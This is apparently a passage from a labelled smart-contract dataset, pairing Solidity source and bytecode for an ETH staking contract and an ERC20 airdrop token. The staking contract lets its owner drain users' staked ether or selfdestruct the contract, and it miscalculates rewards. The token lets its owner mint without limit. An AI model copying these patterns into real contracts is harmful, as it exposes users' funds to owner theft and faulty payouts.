0152604482018e9052915160209384029590950135909116936323b872dd9350606480830193928290030181600087803b158015610ad757600080fd5b505af1158015610aeb573d6000803e3d6000fd5b505050506040513d6020811015610b0157600080fd5b5085905084600081610b0f57fe5b905060200201356001600160a01b03166001600160a01b031663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d8a6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610b8957600080fd5b505af1158015610b9d573d6000803e3d6000fd5b505050506040513d6020811015610bb357600080fd5b50506040516318cbafe560e01b815260048101898152602482018990526001600160a01b03841660648301526084820188905260a06044830190815260a48301879052737a250d5630b4cf539739df2c5dacb4c659f2488d926318cbafe5928c928c928b928b928a928f92919060c401866020870280828437600081840152601f19601f820116905080830192505050975050505050505050600060405180830381600087803b15801561098f57600080fd5b8260ff1660021415610e035760003411610cc7576040805162461bcd60e51b815260206004820152601360248201527f496e76616c69642045746820616d6f756e742e00000000000000000000000000604482015290519081900360640190fd5b348814610d1b576040805162461bcd60e51b815260206004820152601660248201527f496e76616c696420696e70757420616d6f756e74732e00000000000000000000604482015290519081900360640190fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316637ff36ab534898888878c6040518763ffffffff1660e01b81526004018086815260200180602001846001600160a01b031681526020018381526020018281038252868682818152602001925060200280828437600081840152601f19601f82011690508083019250505096505050505050506000604051808303818588803b158015610dc557600080fd5b505af1158015610dd9573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f1916820160405260208110156109cc57600080fd5b6040805162461bcd60e51b815260206004820152600f60248201527f496e76616c6964206f7074696f6e2e0000000000000000000000000000000000604482015290519081900360640190fd5b80600182510381518110610e6057fe5b602002602001015196507fd7b3ca57441764ac2d947c271990b2059ef1fa0f350eac51fcb7fdd11bfb8eb48286866000818110610e9957fe5b905060200201356001600160a01b0316878760018a8a905003818110610ebb57fe5b604080516001600160a01b03968716815294861660208681019190915290910292909201359390931682820152606082018c9052608082018b90524260a0830152519081900360c0019150a15050505050505050565b6060600282511015610f6a576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a20494e56414c49445f504154480000604482015290519081900360640190fd5b815167ffffffffffffffff81118015610f8257600080fd5b50604051908082528060200260200182016040528015610fac578160200160208202803683370190505b5090508281600081518110610fbd57fe5b60200260200101818152505060005b60018351038110156110555760008061100f87868581518110610feb57fe5b602002602001015187866001018151811061100257fe5b602002602001015161105d565b9150915061103184848151811061102257fe5b6020026020010151838361112b565b84846001018151811061104057fe5b60209081029190910101525050600101610fcc565b509392505050565b600080600061106c8585611203565b50905060008061107d8888886112e1565b6001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156110b557600080fd5b505afa1580156110c9573d6000803e3d6000fd5b505050506040513d60608110156110df57600080fd5b5080516020909101516dffffffffffffffffffffffffffff91821693501690506001600160a01b038781169084161461111957808261111c565b81815b90999098509650505050505050565b600080841161116b5760405162461bcd60e51b815260040180806020018281038252602b81526020018061151b602b913960400191505060405180910390fd5b60008311801561117b5750600082115b6111b65760405162461bcd60e51b81526004018080602001828103825260288152602001806114a36028913960400191505060405180910390fd5b60006111c4856103e56113b9565b905060006111d282856113b9565b905060006111ec836111e6886103e86113b9565b90611425565b90508082816111f757fe5b04979650505050505050565b600080826001600160a01b0316846001600160a01b031614156112575760405162461bcd60e51b815260040180806020018281038252602581526020018061147e6025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b03161061127757828461127a565b83835b90925090506001600160a01b0382166112da576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b60008060006112f08585611203565b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501207fff0000000000000000000000000000000000000000000000000000000000000060688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b60008115806113d4575050808202828282816113d157fe5b04145b610347576040805162461bcd60e51b815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820182811015610347576040805162461bcd60e51b815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553556e697377617056324c6962726172793a20494e53554646494349454e545f4c4951554944495459526f75746572496e746572616374696f6e3a3a20496e76616c69642050617468206c656e677468526f75746572496e746572616374696f6e3a3a20496e76616c696420746f6b656e2061646472657373556e697377617056324c6962726172793a20494e53554646494349454e545f494e5055545f414d4f554e54a164736f6c6343000706000a
[ 16, 5, 12 ]
0xF2eB21EbF921D14Da62906b6ccE46974B7a04AA4
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./IETHStaking.sol"; contract ETHStaking is IETHStaking, Ownable, ReentrancyGuard { /*********** VARIABLES ***********/ uint256 public override totalValueLocked; uint256 public override apy; uint256 public override correctionFactor; /*********** MAPPING ***********/ // User info // user address -> stakeNum -> UserInfo struct mapping(address => mapping(uint256 => UserInfo)) public override userInfo; // Stake Nums - How many stakes a user has mapping(address => uint256) public override stakeNums; mapping(address => uint256) private __stakeNums; /*********** CONSTRUCTOR ***********/ constructor(uint256 _apy, uint256 _correctionFactor) { apy = _apy; // 0.6% apy -> 0.6 * 1e18 correctionFactor = _correctionFactor; // 0.6% apy -> 1e21 } /*********** FALLBACK FUNCTIONS ***********/ receive() external payable {} /*********** GETTERS ***********/ function balanceOf(address _account, uint256 _stakeNum) public view override returns (uint256) { return userInfo[_account][_stakeNum].amount; } function stakeExists(address _beneficiary, uint256 _stakeNum) public view override returns (bool) { return balanceOf(_beneficiary, _stakeNum) != 0 ? true : false; } function calculateReward(address _beneficiary, uint256 _stakeNum) public view override returns (uint256 _reward) { UserInfo memory _user = userInfo[_beneficiary][_stakeNum]; _stakeExists(_beneficiary, _stakeNum); if (totalValueLocked == 0) return 0; uint256 _secs = _calculateSecs(block.timestamp, _user.lastUpdated); _reward = (_secs * _user.amount * apy) / (3153600 * correctionFactor); } function contractBalance() public view override returns (uint256) { return address(this).balance; } /*********** ACTIONS ***********/ function changeAPY(uint256 _apy, uint256 _correctionFactor) public override onlyOwner { require(_apy != 0, "apy cannot be zero"); apy = _apy; // 0.6% apy -> 0.6 * 1e18 correctionFactor = _correctionFactor; // 0.6% apy -> 1e21 emit APYChanged(_apy, _correctionFactor); } function withdrawContractFunds(uint256 _amount) public override onlyOwner { require( _amount <= address(this).balance, "amount exceeds contract balance" ); _handleETHTransfer(owner(), _amount); emit OwnerWithdrawFunds(owner(), _amount); } function destructContract() public override onlyOwner { selfdestruct(payable(owner())); } function stake() public payable override { uint256 _amount = msg.value; require(_amount > 0, "stake amount not valid"); uint256 _stakeNums = __stakeNums[_msgSender()]; uint256 _stakeNum; if (_stakeNums == 0) { // user is coming for first time _stakeNum = 1; } else { // add 1 in his previous stake _stakeNum = _stakeNums + 1; } require(!stakeExists(_msgSender(), _stakeNum), "stake already exists"); _updateUserInfo(ActionType.Stake, _msgSender(), _stakeNum, _amount, 0); emit Staked(_msgSender(), _amount, _stakeNum); } function unstake(uint256 _stakeNum) public override { _stakeExists(_msgSender(), _stakeNum); uint256 _amount = balanceOf(_msgSender(), _stakeNum); uint256 _reward = calculateReward(_msgSender(), _stakeNum); _updateUserInfo( ActionType.Unstake, _msgSender(), _stakeNum, _amount, _reward ); _handleETHTransfer(_msgSender(), (_amount + _reward)); emit Unstaked(_msgSender(), _amount, _reward, _stakeNum); } /*********** INTERNAL FUNCTIONS ***********/ function _calculateSecs(uint256 _to, uint256 _from) internal pure returns (uint256) { return _to - _from; } function _stakeExists(address _beneficiary, uint256 _stakeNum) internal view { UserInfo memory _user = userInfo[_beneficiary][_stakeNum]; require(_stakeNum != 0, "StakeNum does not exist"); require(stakeNums[_beneficiary] != 0, "User does not have any stake"); require(_user.amount > 0, "User staked amount cannot be 0"); } function _handleETHTransfer(address _beneficiary, uint256 _amount) internal { payable(_beneficiary).transfer(_amount); emit ETHTransferred(_beneficiary, _amount); } function _updateUserInfo( ActionType _actionType, address _beneficiary, uint256 _stakeNum, uint256 _amount, uint256 _reward ) internal nonReentrant { UserInfo storage user = userInfo[_beneficiary][_stakeNum]; user.lastUpdated = block.timestamp; if (_actionType == ActionType.Stake) { stakeNums[_beneficiary] = _stakeNum; __stakeNums[_beneficiary] = _stakeNum; totalValueLocked = totalValueLocked + _amount; user.amount = _amount; user.rewardPaid = 0; } if (_actionType == ActionType.Unstake) { stakeNums[_beneficiary] = stakeNums[_beneficiary] - 1; totalValueLocked = totalValueLocked - _amount; user.amount = 0; user.rewardPaid = _reward; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IETHStaking { /*********** STRUCT ***********/ struct UserInfo { uint256 amount; uint256 rewardPaid; uint256 lastUpdated; } /*********** ENUM ***********/ enum ActionType { Stake, Unstake } /*********** EVENTS ***********/ event Staked(address indexed user, uint256 amount, uint256 stakeNum); event Unstaked( address indexed user, uint256 amount, uint256 reward, uint256 stakeNum ); event OwnerWithdrawFunds(address indexed beneficiary, uint256 amount); event ETHTransferred(address indexed beneficiary, uint256 amount); event APYChanged(uint256 apy, uint256 correctionFactor); /*********** GETTERS ***********/ function totalValueLocked() external view returns (uint256); function apy() external view returns (uint256); function correctionFactor() external view returns (uint256); function userInfo(address, uint256) external view returns ( uint256, uint256, uint256 ); function stakeNums(address) external view returns (uint256); function balanceOf(address _account, uint256 _stakeNum) external view returns (uint256); function stakeExists(address _beneficiary, uint256 _stakeNum) external view returns (bool); function calculateReward(address _beneficiary, uint256 _stakeNum) external view returns (uint256); function contractBalance() external view returns (uint256); /*********** ACTIONS ***********/ function stake() external payable; function unstake(uint256 _stakeNum) external; function changeAPY(uint256 _apy, uint256 _correctionFactor) external; function withdrawContractFunds(uint256 _amount) external; function destructContract() external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x6080604052600436106101015760003560e01c80638b7afe2e11610095578063b53d6d0c11610064578063b53d6d0c146102a7578063cfe8599b146102bd578063ec18154e146102ea578063f2fde38b14610300578063fe6161701461032057600080fd5b80638b7afe2e146102375780638da5cb5b1461024a5780639499e01814610272578063af1fb7561461028757600080fd5b80632e17de78116100d15780632e17de78146101e45780633a4b66f1146102045780633bcfc4b81461020c578063715018a61461022257600080fd5b8062fdd58e1461010d578063069f5bf7146101405780631852e8d91461016257806321ce919d1461018257600080fd5b3661010857005b600080fd5b34801561011957600080fd5b5061012d610128366004610c4b565b610350565b6040519081526020015b60405180910390f35b34801561014c57600080fd5b5061016061015b366004610c75565b61037b565b005b34801561016e57600080fd5b5061012d61017d366004610c4b565b61046a565b34801561018e57600080fd5b506101c961019d366004610c4b565b600560209081526000928352604080842090915290825290208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610137565b3480156101f057600080fd5b506101606101ff366004610c75565b610517565b6101606105a7565b34801561021857600080fd5b5061012d60035481565b34801561022e57600080fd5b506101606106af565b34801561024357600080fd5b504761012d565b34801561025657600080fd5b506000546040516001600160a01b039091168152602001610137565b34801561027e57600080fd5b506101606106e5565b34801561029357600080fd5b506101606102a2366004610c8e565b61071d565b3480156102b357600080fd5b5061012d60045481565b3480156102c957600080fd5b5061012d6102d8366004610c30565b60066020526000908152604090205481565b3480156102f657600080fd5b5061012d60025481565b34801561030c57600080fd5b5061016061031b366004610c30565b6107d0565b34801561032c57600080fd5b5061034061033b366004610c4b565b61086b565b6040519015158152602001610137565b6001600160a01b03821660009081526005602090815260408083208484529091529020545b92915050565b6000546001600160a01b031633146103ae5760405162461bcd60e51b81526004016103a590610cb0565b60405180910390fd5b478111156103fe5760405162461bcd60e51b815260206004820152601f60248201527f616d6f756e74206578636565647320636f6e74726163742062616c616e63650060448201526064016103a5565b6104196104136000546001600160a01b031690565b8261088c565b6000546001600160a01b03166001600160a01b03167fbc57583e869b1c0424b5b1ebb94b85fa9c07492663b4605bfdc120ad9afd760b8260405161045f91815260200190565b60405180910390a250565b6001600160a01b0382166000908152600560209081526040808320848452825280832081516060810183528154815260018201549381019390935260020154908201526104b7848461090a565b6002546104c8576000915050610375565b60006104d8428360400151610a56565b905060045462301ec06104eb9190610d1f565b60035483516104fa9084610d1f565b6105049190610d1f565b61050e9190610cfd565b95945050505050565b610521338261090a565b600061052d3383610350565b9050600061053b338461046a565b905061054b600133858585610a62565b61055e336105598385610ce5565b61088c565b604080518381526020810183905290810184905233907f204fccf0d92ed8d48f204adb39b2e81e92bad0dedb93f5716ca9478cfb57de00906060015b60405180910390a2505050565b34806105ee5760405162461bcd60e51b81526020600482015260166024820152751cdd185ad948185b5bdd5b9d081b9bdd081d985b1a5960521b60448201526064016103a5565b33600090815260076020526040812054908161060c5750600161061a565b610617826001610ce5565b90505b610624338261086b565b156106685760405162461bcd60e51b81526020600482015260146024820152737374616b6520616c72656164792065786973747360601b60448201526064016103a5565b61067760003383866000610a62565b604080518481526020810183905233917f1449c6dd7851abc30abf37f57715f492010519147cc2652fbc38202c18a6ee90910161059a565b6000546001600160a01b031633146106d95760405162461bcd60e51b81526004016103a590610cb0565b6106e36000610bc4565b565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016103a590610cb0565b6000546001600160a01b0316ff5b6000546001600160a01b031633146107475760405162461bcd60e51b81526004016103a590610cb0565b816107895760405162461bcd60e51b81526020600482015260126024820152716170792063616e6e6f74206265207a65726f60701b60448201526064016103a5565b6003829055600481905560408051838152602081018390527f977bf5a6a8ec1d44e3d8e35029375402ee9f2def5f2c931259ed840fdb118e3a910160405180910390a15050565b6000546001600160a01b031633146107fa5760405162461bcd60e51b81526004016103a590610cb0565b6001600160a01b03811661085f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103a5565b61086881610bc4565b50565b60006108778383610350565b610882576000610885565b60015b9392505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156108c2573d6000803e3d6000fd5b50816001600160a01b03167f1445764fe3fdfc2a9812ff42e9b65c2e7896d5162851f78f7d4a5578f7346ff1826040516108fe91815260200190565b60405180910390a25050565b6001600160a01b038216600090815260056020908152604080832084845282529182902082516060810184528154815260018201549281019290925260020154918101919091528161099e5760405162461bcd60e51b815260206004820152601760248201527f5374616b654e756d20646f6573206e6f7420657869737400000000000000000060448201526064016103a5565b6001600160a01b038316600090815260066020526040902054610a035760405162461bcd60e51b815260206004820152601c60248201527f5573657220646f6573206e6f74206861766520616e79207374616b650000000060448201526064016103a5565b8051610a515760405162461bcd60e51b815260206004820152601e60248201527f55736572207374616b656420616d6f756e742063616e6e6f742062652030000060448201526064016103a5565b505050565b60006108858284610d3e565b60026001541415610ab55760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016103a5565b600260018190556001600160a01b038516600090815260056020908152604080832087845290915281204292810192909255866001811115610af957610af9610d6b565b1415610b43576001600160a01b038516600090815260066020908152604080832087905560079091529020849055600254610b35908490610ce5565b600255828155600060018201555b6001866001811115610b5757610b57610d6b565b1415610bb8576001600160a01b038516600090815260066020526040902054610b8290600190610d3e565b6001600160a01b038616600090815260066020526040902055600254610ba9908490610d3e565b60025560008155600181018290555b50506001805550505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b0381168114610c2b57600080fd5b919050565b600060208284031215610c4257600080fd5b61088582610c14565b60008060408385031215610c5e57600080fd5b610c6783610c14565b946020939093013593505050565b600060208284031215610c8757600080fd5b5035919050565b60008060408385031215610ca157600080fd5b50508035926020909101359150565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610cf857610cf8610d55565b500190565b600082610d1a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610d3957610d39610d55565b500290565b600082821015610d5057610d50610d55565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fdfea26469706673582212208131c47c2706c5b671b4cb69ed4bb922ae2c55710483d0bf64ff3117e5aaf80264736f6c63430008070033
[ 38 ]
0xf2eba4acc9b86744791ecc12156080b5b5a7bf56
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error * Name : Emporeum (EMP) * Decimals : 8 * TotalSupply : 15000000000 * * * * */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract EmporeumToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "Emporeum"; string public constant symbol = "EMP"; uint public constant decimals = 8; uint256 public totalSupply = 15000000000e8; uint256 public totalDistributed = 5000000000e8; uint256 public constant MIN_CONTRIBUTION = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 10000000e8; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function EmporeumToken () public { owner = msg.sender; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; // minimum contribution require( msg.value >= MIN_CONTRIBUTION ); require( msg.value > 0 ); // get baseline number of tokens tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461013d578063095ea7b3146101cd57806318160ddd1461023257806323b872dd1461025d578063313ce567146102e25780633ccfd60b1461030d57806340650c911461032457806342966c681461034f5780634a63464d1461037c57806367220fd7146103c957806370a082311461043957806395d89b41146104905780639b1cbccc146105205780639ea407be1461054f578063a9059cbb1461057c578063aa6ca808146105e1578063c108d542146105eb578063c489744b1461061a578063cbdd69b514610691578063dd62ed3e146106bc578063e58fc54c14610733578063efca2eed1461078e578063f2fde38b146107b9575b61013b6107fc565b005b34801561014957600080fd5b506101526108b3565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610192578082015181840152602081019050610177565b50505050905090810190601f1680156101bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d957600080fd5b50610218600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ec565b604051808215151515815260200191505060405180910390f35b34801561023e57600080fd5b50610247610a7a565b6040518082815260200191505060405180910390f35b34801561026957600080fd5b506102c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a80565b604051808215151515815260200191505060405180910390f35b3480156102ee57600080fd5b506102f7610e56565b6040518082815260200191505060405180910390f35b34801561031957600080fd5b50610322610e5b565b005b34801561033057600080fd5b50610339610f44565b6040518082815260200191505060405180910390f35b34801561035b57600080fd5b5061037a60048036038101908080359060200190929190505050610f4f565b005b34801561038857600080fd5b506103c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061111b565b005b3480156103d557600080fd5b506104376004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050611185565b005b34801561044557600080fd5b5061047a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611224565b6040518082815260200191505060405180910390f35b34801561049c57600080fd5b506104a561126d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104e55780820151818401526020810190506104ca565b50505050905090810190601f1680156105125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052c57600080fd5b506105356112a6565b604051808215151515815260200191505060405180910390f35b34801561055b57600080fd5b5061057a6004803603810190808035906020019092919050505061136e565b005b34801561058857600080fd5b506105c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061140b565b604051808215151515815260200191505060405180910390f35b6105e96107fc565b005b3480156105f757600080fd5b50610600611646565b604051808215151515815260200191505060405180910390f35b34801561062657600080fd5b5061067b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611659565b6040518082815260200191505060405180910390f35b34801561069d57600080fd5b506106a6611744565b6040518082815260200191505060405180910390f35b3480156106c857600080fd5b5061071d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174a565b6040518082815260200191505060405180910390f35b34801561073f57600080fd5b50610774600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d1565b604051808215151515815260200191505060405180910390f35b34801561079a57600080fd5b506107a3611a16565b6040518082815260200191505060405180910390f35b3480156107c557600080fd5b506107fa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a1c565b005b600080600760009054906101000a900460ff1615151561081b57600080fd5b60009150662386f26fc10000341015151561083557600080fd5b60003411151561084457600080fd5b670de0b6b3a764000061086234600654611af390919063ffffffff16565b81151561086b57fe5b0491503390506000821115610886576108848183611b2b565b505b6004546005541015156108af576001600760006101000a81548160ff0219169083151502179055505b5050565b6040805190810160405280600881526020017f456d706f7265756d00000000000000000000000000000000000000000000000081525081565b600080821415801561097b57506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b156109895760009050610